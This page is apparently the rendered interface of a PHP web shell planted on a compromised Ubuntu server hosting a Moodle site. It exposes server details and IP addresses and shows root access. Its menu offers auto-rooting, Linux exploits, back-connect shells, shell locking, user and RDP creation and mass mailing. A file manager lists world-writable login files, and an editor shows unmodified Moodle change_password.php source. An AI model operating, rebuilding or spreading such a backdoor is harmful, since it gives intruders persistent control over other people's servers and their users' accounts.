Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
login /
[ HOME SHELL ]
Name
Size
Permission
Action
change_password.php
5.18
KB
-rwxrwxrwx
change_password_form.php
3.64
KB
-rwxrwxrwx
confirm.php
3.66
KB
-rwxrwxrwx
forgot_password.php
6.85
KB
-rwxrwxrwx
forgot_password_form.php
3.3
KB
-rwxrwxrwx
index.php
12.84
KB
-rwxrwxrwx
index_form.html
5
KB
-rwxrwxrwx
logout.php
1.99
KB
-rwxrwxrwx
restored_password_form.php
1.82
KB
-rwxrwxrwx
signup.php
2.51
KB
-rwxrwxrwx
signup_form.php
8.42
KB
-rwxrwxrwx
token.php
7.63
KB
-rwxrwxrwx
unlock_account.php
1.78
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : change_password.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Change password page. * * @package core * @subpackage auth * @copyright 1999 onwards Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require('../config.php'); require_once('change_password_form.php'); require_once($CFG->libdir.'/authlib.php'); $id = optional_param('id', SITEID, PARAM_INT); // current course $return = optional_param('return', 0, PARAM_BOOL); // redirect after password change //HTTPS is required in this page when $CFG->loginhttps enabled $PAGE->https_required(); $PAGE->set_url('/login/change_password.php', array('id'=>$id)); $PAGE->set_context(context_system::instance()); if ($return) { // this redirect prevents security warning because https can not POST to http pages if (empty($SESSION->wantsurl) or stripos(str_replace('https://', 'http://', $SESSION->wantsurl), str_replace('https://', 'http://', $CFG->wwwroot.'/login/change_password.php') === 0)) { $returnto = "$CFG->wwwroot/user/view.php?id=$USER->id&course=$id"; } else { $returnto = $SESSION->wantsurl; } unset($SESSION->wantsurl); redirect($returnto); } $strparticipants = get_string('participants'); $systemcontext = context_system::instance(); if (!$course = $DB->get_record('course', array('id'=>$id))) { print_error('invalidcourseid'); } // require proper login; guest user can not change password if (!isloggedin() or isguestuser()) { if (empty($SESSION->wantsurl)) { $SESSION->wantsurl = $CFG->httpswwwroot.'/login/change_password.php'; } redirect(get_login_url()); } // do not require change own password cap if change forced if (!get_user_preferences('auth_forcepasswordchange', false)) { require_capability('moodle/user:changeownpassword', $systemcontext); } // do not allow "Logged in as" users to change any passwords if (session_is_loggedinas()) { print_error('cannotcallscript'); } if (is_mnet_remote_user($USER)) { $message = get_string('usercannotchangepassword', 'mnet'); if ($idprovider = $DB->get_record('mnet_host', array('id'=>$USER->mnethostid))) { $message .= get_string('userchangepasswordlink', 'mnet', $idprovider); } print_error('userchangepasswordlink', 'mnet', '', $message); } // load the appropriate auth plugin $userauth = get_auth_plugin($USER->auth); if (!$userauth->can_change_password()) { print_error('nopasswordchange', 'auth'); } if ($changeurl = $userauth->change_password_url()) { // this internal scrip not used redirect($changeurl); } $mform = new login_change_password_form(); $mform->set_data(array('id'=>$course->id)); $navlinks = array(); $navlinks[] = array('name' => $strparticipants, 'link' => "$CFG->wwwroot/user/index.php?id=$course->id", 'type' => 'misc'); if ($mform->is_cancelled()) { redirect($CFG->wwwroot.'/user/view.php?id='.$USER->id.'&course='.$course->id); } else if ($data = $mform->get_data()) { if (!$userauth->user_update_password($USER, $data->newpassword1)) { print_error('errorpasswordupdate', 'auth'); } // Reset login lockout - we want to prevent any accidental confusion here. login_unlock_account($USER); // register success changing password unset_user_preference('auth_forcepasswordchange', $USER); unset_user_preference('create_password', $USER); $strpasswordchanged = get_string('passwordchanged'); add_to_log($course->id, 'user', 'change password', "view.php?id=$USER->id&course=$course->id", "$USER->id"); $fullname = fullname($USER, true); $PAGE->navbar->add($fullname, new moodle_url('/user/view.php', array('id'=>$USER->id, 'course'=>$course->id))); $PAGE->navbar->add($strpasswordchanged); $PAGE->set_title($strpasswordchanged); $PAGE->set_heading($COURSE->fullname); echo $OUTPUT->header(); notice($strpasswordchanged, new moodle_url($PAGE->url, array('return'=>1))); echo $OUTPUT->footer(); exit; } // make sure we really are on the https page when https login required $PAGE->verify_https_required(); $strchangepassword = get_string('changepassword'); $fullname = fullname($USER, true); $PAGE->navbar->add($fullname, new moodle_url('/user/view.php', array('id'=>$USER->id, 'course'=>$course->id))); $PAGE->navbar->add($strchangepassword); $PAGE->set_title($strchangepassword); $PAGE->set_heading($COURSE->fullname); echo $OUTPUT->header(); if (get_user_preferences('auth_forcepasswordchange')) { echo $OUTPUT->notification(get_string('forcepasswordchangenotice')); } $mform->display(); echo $OUTPUT->footer();
Close